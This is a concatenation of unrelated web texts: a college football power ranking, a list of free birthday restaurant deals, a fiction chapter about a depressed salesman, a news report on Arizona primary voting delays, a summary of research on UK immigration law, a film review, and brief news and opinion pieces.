How the results are calculated: Five editors submit their own rankings, and, like the AP poll, every first-place vote is worth 25 points, second-place votes worth 24, and so on. Voting is not based simply on performance, but other external factors, such as injuries to key players and strength of schedule. theScore's ranking is listed first, with last week's ranking in brackets. Unless otherwise indicated, all rankings are theScore's, as voted on by our staff.
Without further ado, here are the only rankings you should care about:
1. AUBURN (5)
The Tigers' dominant win over LSU was enough for them to leapfrog Florida State and take over the No. 1 spot, as the rest of the teams occupying the top of the rankings crumbled under the pressure this past week.
NEXT GAME: at Mississippi State, Saturday at 3:30 p.m. ET
2. MISSISSIPPI STATE (12)
What a ride it's been for the Bulldogs. While they've won two straight against high-quality opponents, it's not time to celebrate yet, not with a date with No. 1 Auburn just around the corner.
NEXT GAME: vs. Auburn, Saturday at 3:30 p.m. ET
DAK PRESCOTT FOR HEISMAN
If you didn't know Dak Prescott a month ago, you do now. The Mississippi State quarterback has engineered wins over LSU and Texas A&M in consecutive games, giving the Bulldogs their highest ranking in school history on the AP poll this week at No. 3. Prescott has passed for 1,232 yards, rushed for 455 yards, scored 20 total touchdowns (13 passing, six rushing, one receiving) while throwing just two interceptions. No team in the nation owns a pair of wins as impressive as Mississippi State, and if Prescott can carry the Bulldogs in another huge matchup with Auburn on Saturday, the Heisman Trophy will be his to lose. - Mike Dickson
3. FLORIDA STATE (3)
While the rankings imploded around them, the Seminoles stayed put. Florida State finally put up a big win against Wake Forest, but the Seminoles will need a few more of those to be a truly convincing contender.
NEXT GAME: at Syracuse, Saturday at 12 p.m. ET
4. OLE MISS (T9)
A victory over Alabama would be huge for any program, but especially so for an Ole Miss team that had lost 10 straight against the Crimson Tide. The Rebels are 5-0 for the first time since 1962, which has everyone partying in Oxford.
NEXT GAME: at Texas A&M, Saturday at 9 p.m. ET
5. BAYLOR (T6)
Baylor's offense looked downright pedestrian against Texas, with Bryce Petty uncharacteristically going 7-of-22 for 111 yards and two touchdowns. However, a win against TCU would make that performance easy to forget.
NEXT GAME: vs. TCU, Saturday at 3:30 p.m. ET
6. NOTRE DAME (8)
The Irish haven't allowed more than 17 points in five wins this year and they look like a legit top-10 team. Should Notre Dame continue to fire on offense, North Carolina, ranked 125th in points for, will have its soft defense exposed.
NEXT GAME: vs. North Carolina, Saturday at 3:30 p.m. ET
7. ALABAMA (3)
Alabama may have lost Saturday, but don't rule them out just yet. It all starts with Arkansas on Saturday, and 'Bama must win to stay relevant. It's schedule doesn't get any easier after the Razorbacks, either.
NEXT GAME: at Arkansas, Saturday at 6 p.m. ET
8. MICHIGAN STATE (11)
The Spartans' problems don't revolve around winning, but rather keeping students interested in the games. Purdue will hardly be a challenge for Michigan State's mean run defense (72 yards per game).
NEXT GAME: at Purdue, Saturday at 3:30 p.m. ET
MICHIGAN STATE STILL HAS A GREAT SHOT AT THE COLLEGE FOOTBALL PLAYOFF
Now that Oregon lost its first game of the season - an upset to No. 14 Arizona - Michigan State's chance to make the College Football Playoff is much sunnier. That's still despite a sloppy second half against a resurgent No. 20 Nebraska squad during Saturday night's 27-22 victory. The only problem heading into Week 6 is that six teams still haven't lost, but surely that number will dwindle down to one or two by season's end. As long as the Spartans win out the remaning seven games of their schedule - including a massive Big Ten matchup against No. 15 Ohio State in early November - they could claim one of the four golden tickets. But as we learned this past weekend, easier said than done. - Joseph Czikk
9. GEORGIA (13)
Georgia is a puzzling team, most notably because it didn't look good in tight games against South Carolina and Tennessee. If No. 22 Missouri can find a way to contain Todd Gurley, it could upset the Bulldogs with its above-average offense.
NEXT GAME: at Missouri, Saturday at 12 p.m. ET
10. OKLAHOMA (4)
Had it not been for a pesky No. 11 TCU squad, Oklahoma could have been in the top two this week. But the Sooners were upset in Fort Worth and now must beat Texas to remain in the playoff picture.
NEXT GAME: vs. Texas, Saturday at 12 p.m. ET
11. TCU (N/A)
The Horned Frogs were the recipients of some generous AP ranking algorithms Sunday. Still, the team hasn't lost yet. But they take on No. 5 Baylor Saturday, and will be hard-pressed to stage another wild upset.
NEXT GAME: at Baylor, Saturday at 3:30 p.m. ET
12. OREGON (1)
Another of the top-10 giants to fall in Week 5, Oregon now faces No. 19 UCLA, who were also upset over the weekend. Oregon should have the edge, making this a must-watch game.
NEXT GAME: at UCLA, Saturday at 3:30 p.m. ET
13. TEXAS A&M (T6)
Mississippi State made quick work of a high-powered Texas A&M squad Saturday. The Aggies are in tough: four of its next six games are against ranked opponents. Saturday's clash with No. 4 Ole Miss will be telling.
NEXT GAME: vs. Ole Miss, Saturday at 9 p.m. ET
14. ARIZONA (N/A)
The Rich Rodriguez-led spread offense with smallish running backs worked well against Oregon, but USC has a solid defensive line, as well as a decent rush attack. This will be a classic offense versus defense contest.
NEXT GAME: vs. USC, Saturday at 10:30 p.m. ET
ARIZONA DOESN'T BELONG IN THE TOP 25
Arizona caught Oregon off guard a week ago, and while it deserves a ton of credit for going into Eugene swinging, moving them up to No. 10 in the AP Poll is a drastic overreaction. The Wildcats entered that game coming off three consecutive single-digit victories over lesser competition, needing their Hail Mary prayer answered just to survive against Cal. The team has done a good job of moving the ball both on the ground and through the air, but if it can't build up a margin against the likes of Nevada and Texas-San Antonio, what can we really expect from Arizona as it enters the tough part of its schedule. - Gino Bottero
15. OHIO STATE (19)
Earth to everyone: Ohio State is very good without Braxton Miller. The Buckeyes lead the Big Ten in total offense and are third in total defense. Rutgers, despite a big win over Michigan on Saturday, will be tested against a rock-solid Ohio State defense.
NEXT GAME: vs. Rutgers, Saturday, Oct. 18 at 3:30 p.m. ET
16. EAST CAROLINA (23)
Led by standout quarterback Shane Carden, the Pirates find themselves nationally ranked for the first time in six years. With the remainder of their schedule void of ranked opponents, the Pirates need to turn in commanding performances to continue to jump in the polls.
NEXT GAME: at South Florida, Saturday at 7 p.m. ET
17. OKLAHOMA STATE (22)
Ever since narrowly losing to Florida State in Week 1, the Cowboys have been a force, rolling four straight wins. Before they face TCU in a major Week 8 conference match up, they have to make work of the Kansas Jayhawks on the road.
NEXT GAME: at Kansas, Saturday at 4 p.m. ET
DON'T SLEEP ON OKLAHOMA STATE
Oklahoma State head coach Mike Gundy is no stranger to making bold statements and his work this season has been too loud to ignore. After a near-win versus defending national champions Florida State in Week 1, the Cowboys have taken care of whatever has been placed in front of them. They have produced with virtually a different squad than the 2013 unit that finished 10-3. With each win, new starting quarterback Daxx Garman in cohesion with receivers Brandon Sheperd and Marcell Ateman have created consistency, chemistry, and experience. On the other side of the ball, sophomore linebacker Seth Jacobs has been a do-it-all weapon. His two interceptions, three pass breakups, and seven tackles per game show that his future is bright. As the year progresses, this team can be special in a Big 12 conference that is still looking for its best team. - Isaac Owusu
18. KANSAS STATE (24)
Wildcats quarterback Jake Waters should find himself on more and more Heisman ballots as the season progresses. The dual-threat passer fits the Bill Snyder mold. The team can expect a huge jump on all other ballots with a win at No. 10 Oklahoma.
NEXT GAME: at Oklahoma, Saturday, Oct. 18 at 12 p.m. ET
19. UCLA (T9)
The Bruins blew their opportunity to avoid a home upset by missing a late field goal. Luckily for them nearly every other good team in the Pac-12 fell on the weekend. They need to beat a motivated Oregon squad to avoid fully falling off this list.
NEXT GAME: vs. Oregon, Saturday at 3:30 p.m. ET
20. NEBRASKA (18)
It was only a matter of time before the Cornhuskers faced a real test. After staying competitive in their 27-22 loss to Michigan State, Nebraska doesn't take a major bump in the rankings, but the team needs a big win over the surging Wildcats if they want to back up their quarterback's statements.
NEXT GAME: at Northwestern, Saturday, Oct. 18 at 7:30 p.m. ET
21. ARIZONA STATE (25)
The Sun Devils redeemed themselves from embarrassment by claiming a last-second victory over the Trojans. They face their third ranked opponent in as many games in hosting Stanford. With all the shakiness in the Pac-12, this could be the win that separates them from the pack.
NEXT GAME: vs. Stanford, Saturday, Oct. 18 at 10:30 p.m. ET
THE PAC-12 HAD BETTER WATCH OUT FOR ARIZONA STATE
It was difficult to stand out on upset Saturday, but the Sun Devils did it with the help of a "Jael Mary". In the course of seven weeks, Arizona State has an opportunity, squaring off against some serious muscle in the form of four ranked teams. But ASU is for real and is so without starting quarterback Taylor Kelly. No one has proven that running back D.J. Foster can be stopped, rushing for 553 yards and five touchdowns. Mix in his 280 receiving yards and two scores and you've got yourself one of the nation's top catalysts. Jaelen Strong is also a force, accumulating 614 receiving yards and five TDs, giving anyone in the pocket several options. All in all, Oregon, UCLA, USC, and Stanford all fell victim to the trap weekend and if the Sun Devils can string together some impressive victories, and see the return of their starting pivot, don't be surprised if the Ducks are bumped as the shoe-in squad out of the west coast.
- George Halim
22. MISSOURI (T20)
Following their upset win over the Gamecocks, the Tigers can do it again against the Bulldogs. Their biggest challenge will be to contain running back Todd Gurley. It's easier said than done, but if Hutson Mason is forced to win the game on his own, Missouri has a fighting chance.
NEXT GAME: vs. Georgia, Saturday 12 p.m. ET
23. GEORGIA TECH (N/A)
The Yellow Jackets make the list simply because they're undefeated. Looking at the team's schedule, it's hard to tell if they will see a defeat in the coming weeks, and it's even harder to tell if they are for real. However, wins are wins and you can't hold them against a team.
NEXT GAME: vs. Duke, Saturday at 12:30 p.m. ET
24. UTAH (N/A)
Another Pac-12 team in the mix due to the mayhem occurring in the conference. The Utes were a field goal away from not being mentioned on the list, but currently sit in position to move up with a victory over the Beavers.
NEXT GAME: at Oregon State, Thursday, Oct. 16 at 10 p.m. ET
25. STANFORD (14)
A late Everett Golson touchdown did more than cost the Cardinal in Saturday's game against Notre Dame; they also 15 spots in the power rankings. Even with two losses to their name, they can possibly gain back some of the ground they lost with a win over the Cougars.
NEXT GAME: vs. Washington State, Friday at 9 p.m. ET
theScore's NCAAF power rankings will be released every Monday during the regular college season. This week's edition was voted on by Mike Dickson, George Halim, Kimberly John, Isaac Owusu, and Sean Tepper. The full vote count is paired with the rankings below.
Rank Team Points AP poll 1 Auburn 123 2 2 Mississippi State 118 T3 3 Florida State 113 1 4 Ole Miss 112 T3 5 Baylor 105 5 6 Notre Dame 98 6 7 Alabama 96 7 8 Michigan State 91 8 9 Georgia 78 13 10 Oklahoma 76 11 11 TCU 74 9 12 Oregon 72 12 13 Texas A&M 65 14 14 Arizona 64 10 15 Ohio State 58 15 16 East Carolina 47 19 17 Oklahoma State 46 16 18 Kansas State 41 17 19 UCLA 33 18 20 Nebraska 31 21 21 Arizona State 28 20 22 Missouri 19 23 23 Georgia Tech 17 22 24 Utah 10 24 25 Stanford 5 25
Other teams receiving votes: LSU (4), Clemson (1)We'd love the ability to wish each and every one of our readers a happy birthday. Even more, we'd love to give them something to celebrate. Since that is just not entirely possible, we tried to think of the next best thing. Like letting our readers know about all the free birthday meals they could be enjoying on their birthday! Below is a list of over 110 restaurants offering free birthday food.
Please note that nearly all of them require that you be a member of their club to take advantage of this free birthday stuff. Many also require that you bring in a printed coupon when redeeming your freebies. Also, be advised that only certain locations may participate in these birthday celebration promotions, so it could never hurt to call ahead.
99 Restaurants - Free dessert coupon for your birthday when you join their eClub.
Abuelo's - Join their Rewards Club for special offers on your birthday and anniversary.
BDs Mongolian BBQ - Join Club Mongo for a free meal e-coupon on your birthday.
Benihana- Join the Chef's Table and get a $30 gift card in your birthday month.
BJ's Restaurant and Brewhouse - Free mini-Pizookie dessert coupon with email signup.
Black Angus Steakhouse - Sign up for their Prime Club for a free steak dinner on your birthday with the purchase of a second entree. Plus, you get free dessert for signing up!
Black Bear Diner - Free coffee and bear claw for joining the Bear Lovers E-Club.
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Even then… it’s not something you can take out to the back and shoot. You can try, but it’ll come back. Probably like a hydra’s head. Double.
Maybe that’s why it’s so easy to make a sale. He’s come across people crying in the bathroom from a deal that fell through. What emotional stakes does he have? Lose a sale? Shit happens. The universe is a vast and endless stretch of glorified dust that will be here long after we’re gone, and really, nothing means anything. So bouncing back from a lost sale isn’t that hard. The bosses like his attitude. They like how he doesn’t over-congratulate himself. How down-to-earth he is. How pleasant he is. Good job, Herman. We’ve impressed the gods of your office job.
Headshot. Broken glass. Confirmed kill. He lies on his floor perpetually staring at the leg of the table that his mom got him. These are currently shower thoughts, as he stares at the tiles in front of him. What is that, beige? What color is beige, exactly? It’s kind of depressing. We should get better shower tiles. We can do that, after all.
Just remember to exercise today, and you’ll be alright. Endorphins. They’re the opposite of depression. This shower’s soothing, right?
…We shouldn’t go to work today.
We have to. If you don’t go to work, they’re going to think something is wrong. You’re Herman. No one thinks anything is wrong with Herman.
Everything is wrong with me.
Oh, shut up. You don’t think that.
I’m thinking it right now.
There’s something wrong with everyone, alright?! Jesus, I- you’re in a depressed mood. Do what you always do and get over it.
Yeah. What. If you were poor, you’d still feel the same. You’d lie in your trailer home, questioning reasons to get up and go out. But no. Instead, you do what everyone does in a sales firm, and you do it better. So-
He turns up the water temperature, making it so hot that all his inner voice can say is “ouch”. For three beautifully scalding minutes, he is at peace.
When he gets out of the shower, his brain comes back, rambling about the importance of sunlight’s effect on one’s mood. The sludge has become something like heavy syrup; still sticky and cloying, but familiar at this point in his life. More importantly, it’s bearable. Not his favorite, but he can tolerate it.
Getting dressed. Another sniper bullet. This time he’d see the bottom of his doorframe. Always in the head.
It doesn’t bother him anymore. It’s just something he thinks about. Separation is key. The more he wakes up, the more he keeps that in mind.
Herman buys as little clothing as possible. He used to like the idea of buying a three-hundred dollar tie, but over the years, he’s started to… well, there’s that proverb he can’t think of again. Either way. If he’s gonna waste his money, make it on feelings. The stuff he gets from food. Movies. Drugs, maybe. Nothing hard, though. Maybe some pot… ecstasy if he’s really feeling saucy.
(Did you just-)
Yes. I’m still not listening to you.
Eight forty-five AM. Coffee provides stimulation. Eggs provide strength. Bacon provides unhealthy euphoria. The emptiness is there, but it feels like it’s getting filled. In Herman’s mind, feelings and reality are often the same thing.
He goes to the mirror. Practices his smile real quick. It always makes him feel like an asshole, but it’s necessary. You need to look like you enjoy what you do. Today, the strain on his cheekbones is about a seven out of ten. Far worse has happened. He picks up his business cards, puts them in his breast pocket. Takes a few moments to just sit at his table, somewhat overlooking the city.
Headshot. Staring at the floor this time. The bullet would head through his front door.
He knows that leaving will undercut the depression. Being out. Around people. Sometimes it make it worse, though. That’s always what scares him. Makes him hesitant. But some force that isn’t his comes in, and walks his body to the door for him.
When he gets to the door, he stops. presses his head against the wall.
“Just leave the house,” he tells himself. For a good 30 seconds, it’s him and that door. He hasn’t said anything to himself in a while. He waits for his brain to come back in.
Hey.
What?
Seriously? Don’t sound like that. You were waiting for me.
What is it?
Are you gonna take me seriously?
What. Is. It.
I think you can do this. What? I can not be an asshole sometimes, right?
Not really.
I’m sorry I told you to get over it. Alright? Really. I don’t wanna be that guy.
Alright, fine.
…Ok. Cool. You can still do this when you’re down like this.
I know I can. So can you go away while I handle my clients for the day?
Then his head goes quiet. He’s woken up enough to control it. He opens the door. A hallway leads to an elevator. His path to the day ahead. With molasses in his bones and a winning smile, Herman embraces the day.
Wish us godspeed.
PREVIOUS CHAPTER: WAKE UP – PART ONE
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Photograph by Timothy KrausePhoenix Mayor Greg Stanton said that the number of polling locations was cut by 85 percent from the 2008 primary and 70 percent from the 2012 primary. | AP Photo Sanders applauds call to investigate Arizona voting delays
Bernie Sanders on Thursday commended the Phoenix mayor's call for a Justice Department investigation into voting delays in the Arizona primary.
In a letter to Attorney General Loretta Lynch sent Wednesday, Mayor Greg Stanton — who has endorsed Hillary Clinton — called the reduced polling locations and long wait times “unacceptable.”
On Thursday, Sanders tweeted: “I'm glad to see @MayorStanton asking @TheJusticeDept to investigate the voting delays in Arizona.”
In the letter itself, Stanton wrote, "Throughout the county, but especially in Phoenix, thousands of citizens waited in line for three, four and even five hours to vote. Many more simply could not afford to wait that long, and went home. This is unacceptable anywhere in the United States, and I am angry that County elections officials allowed it to happen in my city.”
Stanton said that the number of polling locations was cut by 85 percent from the 2008 primary and 70 percent from the 2012 primary.
In the letter, Stanton also said that lack of polling locations was even more significant in minority communities of Maricopa County.
“In Phoenix, a majority-minority city, County officials allocated one polling location for every 108,000 residents. The rations were far more favorable in predominantly Anglo communities: In Cave Creek/Carefree, there was one polling location for 8,500 residents; in Paradise Valley, one for every 13,000 residents; in Fountain Hills, one for 22,500 residents; and in Peoria, one for every 54,000 residents,” Stanton wrote.
“Because of the unacceptably disparate distribution of polling locations, I respectfully request the U.S. Department of Justice investigate what took place in Maricopa County to ensure all voters are treated equally under the law,” he continued.
DOJ spokeswoman Dena Iverson told POLITICO in an email, “We will review the request from the Mayor of Phoenix, just as we review all such requests."
In a fundraising email Wednesday, Sanders sounded off about the wait times in Arizona, writing, "voting should not be this difficult."
"What happened yesterday in Arizona should be considered a national disgrace. I got an email last night from a woman who waited five hours to vote in Arizona. Five hours. And she wasn't alone," the Vermont senator wrote. "Scenes on cable news last night showed hundreds of people in line at 11:30pm in Phoenix — more than four hours after polls closed. Voting should not be this difficult."
"We also know that when there is high voter turnout, we win," he continued.
Sanders warned there could be more voting issues to come, particularly in Wisconsin, where, he wrote, "Governor Scott Walker has also instituted significant roadblocks to voting."
Sanders said there were unknowns coming out of the race but conceded that shorter lines might not have changed the outcome of the Democratic presidential primary.
"We don't know how many thousands of people didn't get to cast their ballots yesterday in Arizona because they couldn't afford to wait that long. We don't know how many people saw long lines at polling places and never even tried to vote, or who were in line to vote and left because they had to back to work, to school, or to their families," Sanders wrote, adding they also didn't know who people would be voting for. "And I don't think that voting problems yesterday in Arizona would necessarily have drastically changed the result for our campaign."
"What we do know is this: we cannot continue to see democracy undermined in the United States of America. Enough is enough," he added.
The Sanders campaign on Tuesday evening questioned the early results in Arizona, citing the long lines in the state. Sanders eventually lost Arizona, 40 percent to Clinton’s 58 percent.
"We’ve seen lines in Arizona" that were "five hours long, literally," campaign manager Jeff Weaver told CNN as results were still coming in and people were still in line to vote. "So, based on CNN’s calculations and what we know about how many people early-voted, that would mean only 100,000 people came out and live-voted, Democrats in Arizona. I think that that’s just wrong. So I think this race is gonna close up substantially between now and the morning."
A petition on the White House's website urging the administration to investigate voter fraud in the Democratic hit 100,000 signatures on Thursday. Petitions with more than 100,000 signatures in their first 30 days will be addressed by the White House, though the timeline for review isn’t clear.
On Wednesday night, Clinton's campaign counsel wrote a post on Reddit joining in on the chorus of concerns.
"I know that many people have serious concerns about yesterday’s primary in Arizona, and the frustrations voters there encountered while trying to exercise their basic right to vote," Marc Elias wrote. "I share those concerns -- and I know the rest of the HFA team does, too."
But Elias also said that the complications on Arizona didn't come from any of the campaigns and had no role in harming Sanders' chances in the state.
"Some have suggested that this whole thing is a plot to shut Sanders supporters out of the process. This just isn’t true. In Arizona (like most states), county governments administer elections. Neither the Clinton campaign nor the Sanders campaign -- nor for that matter the Trump campaign -- have anything to do with them, beyond being on the ballot," Elias continued. " And the county with the biggest issues last night -- Maricopa -- is run almost entirely by Republicans."
"What we saw last night hurt supporters of both Senator Sanders and Secretary Clinton — and anyone who believes in the basic premise that a working democracy doesn’t put barriers in the way of citizens voting. This has serious, serious implications if we don’t fix it before November," he added.Why does the government get defeated so often in immigration cases? Matt Williams explains that the language used in relevant legislation has been increasingly unclear, leaving it up to judges to debate the meaning and intention of policy.
Political scientists struggle to explain (and predict) how judges decide cases. This task is no more pressing than with regard to the hottest of topics. In Britain, immigration has topped the list of most litigated areas of public policy for as long as detailed statistics have been available. And immigration has had extraordinary political impact. So, my aim in a recent paper was to try and explain the increased rate of government defeat in immigration cases. Specifically, from 1970 to the end of 1994, the government fought 78 immigration cases at a senior appeal court (Court of Appeal/ House of Lords) and was defeated 25 times. In just 17 succeeding years, up to 2012 (now including the UK Supreme Court), there were 174 appeal cases and 90 government defeats.
The government and some media outlets have suggested this changing behaviour was a function of judges’ own preferences, increased immigration, and the Human Rights Act 1998 (HRA). The latter has drawn especial criticism, with its protections for, amongst other things, immigrants’ private and family lives. Amidst broader demands for ‘taking back control’ of borders, the HRA, bundled in with membership of the EU, has been seen as an unacceptable dilution of Parliament’s sovereignty.
But, I wanted to consider what, exactly, ‘control’ even means with regard to borders and sovereignty. Control in any democracy begins with control of discourse. Instructions passed between institutions must be clear, and executable. I hypothesised that quite the reverse has happened in the UK. Despite its sovereignty, Parliament has been enacting more law of greater linguistic indeterminacy. And, as a result, judges were forced to use other rules of law to make sense of it all. Judges’ increased policy role, such as it is, has been a function of problems in the law.
Let me give some examples of plain and indeterminate legislation. Plainness is exemplified by section 1 of the British Nationality Act 1948:
Every person who under this Act is a citizen of the United Kingdom… shall by virtue of that citizenship have the status of a British subject.
Despite my abridgement, this section is short, unqualified, and offers a complete instruction. Contrast this with the dominant deportation tool, still used to this day, from section 3 of the Immigration Act 1971:
(5) A person who is not a British citizen is liable to deportation… (a) if, having only a limited leave to enter or remain, he does not observe a condition attached to the leave or remains beyond the time limited by the leave; or (b) if the Secretary of State deems his deportation to be conducive to the public good…
This section contains multiple conditional conjunctions (if/or), and noun-qualifying adjectives (conducive to the public good). This language is not plain, and requires significant post-enactment interpretation to be enforced. Section 5 of the same Act goes on to state:
Where a person is… liable to deportation, then… the Secretary of State may make a deportation order against him.
Note the use of modal and enabling verbs here. The Secretary of State ‘may make’ is the chosen construction, not ‘shall enforce’. To test my hypothesis that immigration legislation has become increasingly indeterminate, I wrote a simple computer program (available to test here) that analysed all immigration laws enacted since the first one on the subject. That is 1,233 sections of legislation, from section 1 of the Aliens Act 1905, to section 96 of the Immigration Act 2016. Using the same natural language processing (NLP) tools used in search engines, I identified four prominent causes of indeterminacy in law – adjectives, conjunctions, modal verbs, and enabling verbs. Note that it would be extremely difficult to measure meaning across time, as meaning is not fixed in language. As such, my approach was to measure meaninglessness instead. Figure 1 describes the findings:
Figure 1 describes, in totals, the indeterminate parts of speech enacted by Parliament. It tells us, for instance, that 3,138 adjectives were included in all Acts enacted from 2005-09. But, so what? Why should this have anything to do with the likelihood of government defeat in court? It is because indeterminate law lacks any ‘logic of communication’, as Vivien Schmidt would put it. This means there is no clear link between policy aims, and decisions taken to implement policy. Any links are left to be determined, predominantly, by government discretion.
But Parliament’s sovereignty and the rule of law demand that legislation be the final word on policy legitimacy. Any reasonable doubt as to the meaning of that legislation can be debated in court. So why do immigrants increasingly win? Because, ruling against a government use of power will typically be the more conservative interpretation of Parliament’s intent. And, because constraining a government assertion of power is in the best of interests of natural justice, the weaker party enjoys the benefit of any doubt.
Which parts of speech are most likely to encourage judges to rule against the government? It is those that cannot easily be pinned down. Adjectives can be defined by judges in a case and will less likely lead to further, successful, appeals in future cases. Enabling verbs (make/amend) are used to grant discretion to government, but that discretion will typically have been legitimately delegated by Parliament. It is conjunctions (if/or) and indeterminate modal verbs (may/might) that create enduring indeterminacy when describing powers. Conjunctions allow multiple contexts to be covered by the same text. Indeterminate modal verbs give broad leeway as to when and how far discretion can be used. It was my conjecture that these parts of speech, taken with reforms to lower courts, offered the best model for government losses on appeal.
Using logit regression analyses, I modelled the outcomes in all 252 immigration appeal cases heard between 1970-2012. Findings suggest that conditional conjunctions in disputed law increased the likelihood of an anti-government ruling by a maximum of fourteen times. And indeterminate modal verbs increased the likelihood of an anti-government ruling by a maximum of ten times. A model including both of these parts of speech, with dummy variables to capture periods of reform to immigration tribunals, predicted 73% of case outcomes correctly. Other important variables were also tested and controlled for, including the use of human rights law, and whether the immigrant’s life was thought to be at risk. Neither of these variables presented sufficient correlative significance to reject the null hypotheses.
The upshot is that judges increasingly rule against the government because Parliament has notably lacked ‘control’ of its language. It is legitimate for judges to intervene in policy where its basis in law can be doubted. Therefore, slamming judges for ‘liberal’ or ‘activist’ rulings, is not founded on convincing reason or evidence. If Parliament is to be sovereign, it needs to control what, and how, it speaks.
_________
Note: the above summarises the author’s article in British Politics (DOI: 10.1177/1369148117705272)
About the Author
Matt Williams is Access and Career Development Fellow at Jesus College, University of Oxford.
Featured image credit: Pixabay/Public DomainWisconsin Death Trip is an extended, narrated collage of vintage photographs and re-enactments of people and events that took place in Wisconsin over the final decade of the 19th century. These events roll onwards, in loose chronological order. Everything the viewer witnesses is death-related in one way or another. Epidemics, insanity, severe depressions, love-fuelled murders and suicides, James Marsh retells a simultaneously harrowing and hilarious tale of pure, unyielding madness. It is also a monumentally beautiful movie, with sharp monochrome sequences and breath-taking compositions.
The film relies on the town’s newspaper editor, an English writer and his recordings in a local newspaper. Marsh documents the disturbing happenings as they had been reported at the time, and according to Michael Lesy’s book of the same name. What the viewer is exposed to over the film’s running time, is a nightmare reminiscent of some of the darker works of Lars Von Trier or David Lynch. The narrator, Ian Holm, convinces as a sort of observer, situated among the township, but outside and safe from the madness, commenting and taking notes. Holm’s narration turns the journalist’s writing into words. His voice is placed over fantastic black and white sequences of violence and disturbance, and alongside the lifeless, stone-like portraits of the town’s residents.
These images and photographs turn into the stories that carry the film forward – the viewers are taken through winter, spring, summer and autumn (it is fascinating to observe how each season influences the inhabitants’ behaviour) and every story makes a significant fragment of the documentary’s whole. Marsh effectively shows a historical phenomenon through his work. The unfolding almost feels like an example of the domino effect, by which one individual’s slip into madness results in another’s and another’s.
Throughout, there is no coherent explanation as to how what happened actually happened. One can only speculate; the harsh climate, the lack of identity (the town was made up of a large variety of European immigrants), loneliness and isolation, the disappearing promise of “America”. The film builds itself around a few truly notable occurrences – among them a 13-year-old German boy who guns down a man and then inhabits his home, a world-famous opera singer who makes a mysterious appearance in the town and goes mad, and a young arsonist girl. And filling in the gaps are a range of mysterious details – an old man who kills himself in fear of getting old, and a man who shoots a woman and them himself when a proposal doesn’t go according to plan.
The stillness of the photographs – which make up the core of the movie – is haunting. It is hard to tell whether the eyes of the inhabitants captured through the lens display the madness seen in the sequences built around them. Whatever the case, the photographs provide the remedy for Marsh’s blackly humorous take on the events. A level of reality is introduced into Wisconsin Death Trip. The viewer is reminded that, though fascinating, the study isn’t entertaining, but tragic and tormenting.
External links
Wisconsin Death Trip at IMDb
Wisconsin Death Trip at Wikipedia
Wisconsin Death Trip (awards won and nominated for) at IMDbA photo album featuring candid shots of some of the most evil people ever to walk the Earth has been snapped up for $41,000 by an anonymous buyer at an auction in England.
The album, found in the bunker bedroom of Eva Braun, Adolf Hitler's mistress, features Hitler and henchmen including Heinrich Himmler and Josef Goebbels in lighter moments, the Telegraph reports.
Some of the 73 photos can be seen on the auction site, including one of Hitler relaxing in the Alps. C&T Auctioneers says the photo album was taken in April 1945 from the bunker as a souvenir by British wartime photographer Edward "Dixie" Dean, who sold it to a collector in 1983.
Per the auction house, "Very few significant artifacts liberated from the Fuhrer Bunker in 1945 exist today in the open market, especially with such concrete provenance." Auction house owner Matthew Tredwen tells the New York Times that it is clear that the photos were taken by a member of Hitler's inner circle, though the book gives no indication of who that might be.
"The photographs had to be taken by someone who was very close," he says. "All photographs of Adolf Hitler were very much controlled" to show him in the best light.
These "would not have been made for the general public." Tredwen adds that in his years of dealing in Nazi memorabilia and other military history items, he has never met anybody who actually supports Nazi ideology.
"People are fascinated by how evil the Third Reich were," he says. (There is a dispute over whether "Hitler's personal phone" is the real thing.)
This article originally appeared on Newser: Photos Found in Eva Braun's Bunker Bedroom Are SoldAnd so it begins…
Now that the Confederate flag is well on its way off into museums across every state in the south, you can bet other “ugly symbols of racism” will be taken out of plain sight as well. Next up according to one writer: Gone with the Wind.
No… really.
In Wednesday’s New York Post, movie critic Lou Lumenick called for the classic 1939 movie to be sent to the dustbin as well. Gone with the Wind is only ranked the #4 movie of all-time by the American Film Institute. It has only generated the most box-office revenue of any movie in history ($1.6 billion when adjusted for inflation). It only won eight Academy Awards, including Best Picture. Forget the study-this-in-acting-class performances by Vivien Leigh, Clark Gable and Hattie McDaniel, who was only the first African-American to win an Oscar. Because now that everything remotely connected to the slave era is being questioned — flags, statues, the General Lee from The Dukes of Hazzard — why not throw an iconic flick into the mix too?
Lumerick wrote:
Based on a best seller by die-hard Southerner Margaret Mitchell, “Gone with the Wind’’ buys heavily into the idea that the Civil War was a noble lost cause and casts Yankees and Yankee sympathizers as the villains, both during the war and during Reconstruction… [W]hat does it say about us as a nation if we continue to embrace a movie that, in the final analysis, stands for many of the same things as the Confederate flag that flutters so dramatically over the dead and wounded soldiers at the Atlanta train station just before the “GWTW’’ intermission?
So blacks in the U.S. must be really offended by the movie, right? Except they’re not, as 61 percent call Gone with the Wind one of the best movies of all time (YouGov.com poll), while 56 percent of whites in the same poll feel the same way. Overall 73 percent of surveyed black Americans call it either “one of the best” or “very good/good.” That number jumps to 87 percent when including the category of “fair”.
Lumerick didn’t bother mentioning this, of course… and thinks the movie should be relegated to museum-viewings only, concluding:
It’s showing on July 4 at the Museum of Modern Art as part of the museum’s salute to the 100th anniversary of Technicolor — and maybe that’s where this much-loved but undeniably racist artifact really belongs.
What movie will be banned from all public viewings outside of museums next? How about Mel Brooks‘s Blazing Saddles? How about Seinfeld simply for not featuring any major black cast members despite being set in New York? And if you think half the jokes in Caddyshack would fly today, particularly the one about the best person to buy pot from, think again. And if you think these examples are extreme and would never be discussed, check out this exchange between CNN’s Ashley Banfield and Don Lemon on the Jefferson Memorial:
“There is a monument to him [Thomas Jefferson] in the capital city of the United States. No one ever asks for that to come down,” Banfield said. Lemon responded that Jefferson represented “…the entire United States, not just the South,” adding, “There may come a day when we want to rethink Jefferson. I don’t know if we should do that.”
Want to debate the Confederate flag and think hiding it away will somehow solve the laundry list of problems facing many African-Americans today? Knock yourself out. It’s our maybe-it’ll-make-us-feel-better-about-ourselves reaction to a horrific act carried out by a insane, racist kid no different (in terms of evil) than Adam Lanza in Newtown or James Holmes in Aurora.
And when the flag is defeated — and it will be given the swift reactions from the state of Alabama to Walmart to Sears — we’ll move on to the next ugly symbol of hate plaguing us: Gone with the Wind.
Frankly my dear, you should give a damn.
— —
>> Follow Joe Concha on Twitter @JoeConchaTV
Have a tip we should know? [email protected] Credit: Foxsports.
As a contributor for Entrepreneur.com I was able to connect with some of the most inspiring men and women in entrepreneurship. I asked them to share the best advice they’ve ever received, their biggest failure and lesson learned, and their definition of success.
Barbara Corcoran | Shark Tank Investor, Business Expert
Image Credit: abc.com
